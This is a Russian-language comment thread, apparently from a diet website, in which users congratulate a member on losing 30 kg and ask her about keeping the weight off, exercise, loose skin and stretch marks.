серафима сургутова, Я имела в виду, что можно найти любой мой дневник питания и там увидеть мой текущий вес. Мне казалось, что вы на сайте уже давно и знаете об этом. Извините, я тоже не хотела вас обидеть. 
madjulia 17.05.2016 16:33
вот это да!
Серафима 17.05.2016 16:40
Наталья 17.05.2016 22:14
Молочинка!!!!))))
надежда 17.05.2016 22:32
Снимаю шляпу!Молодец!
Константин 22.05.2016 19:18
Грац, Респект! - будем брать пример
Нина Newba 22.05.2016 19:21
Шикарный результат! Умница! 
Вита Сон 31.05.2016 17:57
Галина, спасибо Вам огромное, за помощь.
Сейчас увидела Ваши фотографии. Вы молодец!   Просто дюймовочка! Очень вдохновляет.
Mandarinka MANDARINKA 08.06.2016 18:55
Вы мой мотиватор!  Удачи вам!
Елена К 08.06.2016 19:08
какая вы молодец!
Светлана Злат 08.06.2016 19:13
такой результат заслуживает восхищения. Вы просто молочдинка. Так приятно посмотреть на красивую фигурку. А даже и не скажешь , что могли быть в таком солидном весе. Конечно похвально! 
Галин@ 08.06.2016 19:26 Нравится 1
Светлана,  Очень даже могла. В альбоме фотки есть меня огромной.
Светлана Злат 08.06.2016 19:30 Нравится 1
Галина @. я посмотрела ваши фотографии , это как в мультике фильм наоборот . От женщины к молоденькой девушке. Я еще больше поражена, чем до этого!!! Просто слова восхищения!!! 
Deko 16.07.2016 16:46 Нравится 1
Галина, зашла к вам в гости) здорово!!!! сказать "молодец, умница, большой силы воли человек" значит ничего не сказать)))
Класс, вы молодчинка  фото посмотрела, в восторге от вас! 
Дина Игнатенко 07.09.2016 10:20 Нравится 1
Да, если хочешь хорошо выглядеть, то диета (в хорошем смысле этого слова) должна поддерживаться всю жизнь а не временно!
Miray Sim 12.05.2017 22:59
Как вам удается поддержание?
Галин@ 12.05.2017 23:03 Нравится 2
Miray Sim, Хотите со мной поговорить - пишите в личку. Не надо выковыривать мои старые посты из нафталина)))).  Конкретно по Вашему вопросу - сегодня вешу на 100 гр меньше, чем на этом фото. Вес колеблется +- 5 кг, но в среднем удержание удается. 
Константин Z 25.05.2017 17:26
Галин@, а чего он колеблется?
Галин@ 25.05.2017 17:27
Константин Z, А он нерешительный)
жИринка 20.06.2017 17:05
Извините, не могу прочесть все комментарии (228!!!), а Вы занимались спортом? Как кожа себя "вела"?
Галин@ 20.06.2017 17:11
жИринка, Спортом это вряд-ли можно назвать. Скорее физкультурой. Не пашу как папа Карло, так немножко фитнеса для поддержания формы. Кожа вела себя нормально. Я же эти 30 кг 1.5 года сбрасывала.
татьяна 20.06.2017 17:44
какая же вы умница и красавица! это же такой труд! я в восхищении!
Elena Demopoulou 20.06.2017 19:49
Красавица,молодчинка!
Вот это да))Вы такая молодец))))
Отличный результат!
Ого! Круто! Умничка!
Виктория 30.06.2017 11:10
У вас большие растяжки?
Галин@ 20.07.2017 22:06 Нравится 2
Екатерина Соколова, Не знаю, большие они или нет. Они есть. Если осматривать тело прицельно в поисках растяжек, то увидеть можно. Но судя по тому. что на пляже в меня не тыкают пальцем со словами " смотрите, какие у нее растяжки" могу предположить, что люди их не замечают))))
Вот молодец!
Невертити 26.04.2018 10:24
а вот и фото. обратите внимание, сброшено 30 кг, а ничего нигде не повисло. Щас попробую найти исходное фото, где Галя весила 94 кг
НОВЫЕ РЕЦЕПТЫ
ИНТЕРЕСНЫЕ БЛОГИ
ЛУЧШИЕ РАЦИОНЫ